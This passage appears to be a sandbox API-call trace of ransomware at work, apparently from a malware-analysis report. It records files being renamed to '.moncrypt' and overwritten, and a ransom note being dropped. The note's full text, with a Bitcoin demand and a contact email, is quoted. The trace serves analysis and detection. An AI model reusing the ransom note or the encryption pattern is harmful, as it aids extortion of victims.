[0050.434] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.434] GlobalUnlock (hMem=0x440004) returned 0 [0050.434] GlobalLock (hMem=0x440004) returned 0x550170 [0050.434] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.434] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.434] GlobalUnlock (hMem=0x440004) returned 0 [0050.434] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.434] GlobalUnlock (hMem=0x44000c) returned 0 [0050.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.435] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.435] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0050.435] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.435] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.435] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.435] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.435] GlobalUnlock (hMem=0x44000c) returned 0 [0050.435] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.435] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.435] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.435] GlobalUnlock (hMem=0x44000c) returned 0 [0050.435] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.435] GlobalUnlock (hMem=0x440004) returned 0 [0050.435] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.435] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.436] CloseHandle (hObject=0x18c) returned 1 [0050.436] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\я")) returned 1 [0050.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 0x54e240 [0050.437] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.437] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.438] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", dwFileAttributes=0x20) returned 1 [0050.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.moncrypt")) returned 1 [0050.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.444] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.444] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x10fc7 [0050.444] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.444] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.446] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.446] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.446] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.446] GlobalUnlock (hMem=0x44000c) returned 0 [0050.446] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0050.446] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.446] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.446] GlobalUnlock (hMem=0x44000c) returned 0 [0050.447] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.447] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.447] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.447] GlobalUnlock (hMem=0x440004) returned 0 [0050.447] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.447] GlobalUnlock (hMem=0x44000c) returned 0 [0050.447] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.447] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.447] GlobalUnlock (hMem=0x44000c) returned 0 [0050.447] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.447] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.447] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.447] GlobalUnlock (hMem=0x44000c) returned 0 [0050.447] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.447] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.447] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.447] SetFilePointer (in: hFile=0x18c, lDistanceToMove=69575, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x10fc7 [0050.447] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.447] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.448] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.459] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.459] CloseHandle (hObject=0x18c) returned 1 [0050.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.460] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.460] CloseHandle (hObject=0x18c) returned 1 [0050.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0050.461] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.461] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.461] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.461] GlobalUnlock (hMem=0x44000c) returned 0 [0050.461] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.461] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.461] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.461] GlobalUnlock (hMem=0x44000c) returned 0 [0050.461] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.461] GlobalUnlock (hMem=0x440004) returned 0 [0050.461] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.461] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69e68, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.462] GetLastError () returned 0x2 [0050.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.466] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0050.467] CloseHandle (hObject=0x18c) returned 1 [0050.467] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0050.467] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.467] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.467] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.467] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.467] GlobalUnlock (hMem=0x440004) returned 0 [0050.467] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.467] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.467] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.467] GlobalUnlock (hMem=0x440004) returned 0 [0050.467] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.467] GlobalUnlock (hMem=0x44000c) returned 0 [0050.467] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.468] CharLowerBuffW (in: lpsz="ARCTIC.INF", cchLength=0xa | out: lpsz="arctic.inf") returned 0xa [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpUsedDefaultChar=0x0) returned 73 [0050.468] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0050.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpUsedDefaultChar=0x0) returned 4 [0050.469] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.469] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.469] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.469] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.469] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.469] GlobalUnlock (hMem=0x44000c) returned 0 [0050.469] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.469] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.469] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.469] GlobalUnlock (hMem=0x44000c) returned 0 [0050.469] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.469] GlobalUnlock (hMem=0x440004) returned 0 [0050.469] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.469] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0050.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 74 [0050.470] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0050.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\ARCTIC\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 4 [0050.470] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0050.470] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.470] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.470] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.470] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.470] GlobalUnlock (hMem=0x440004) 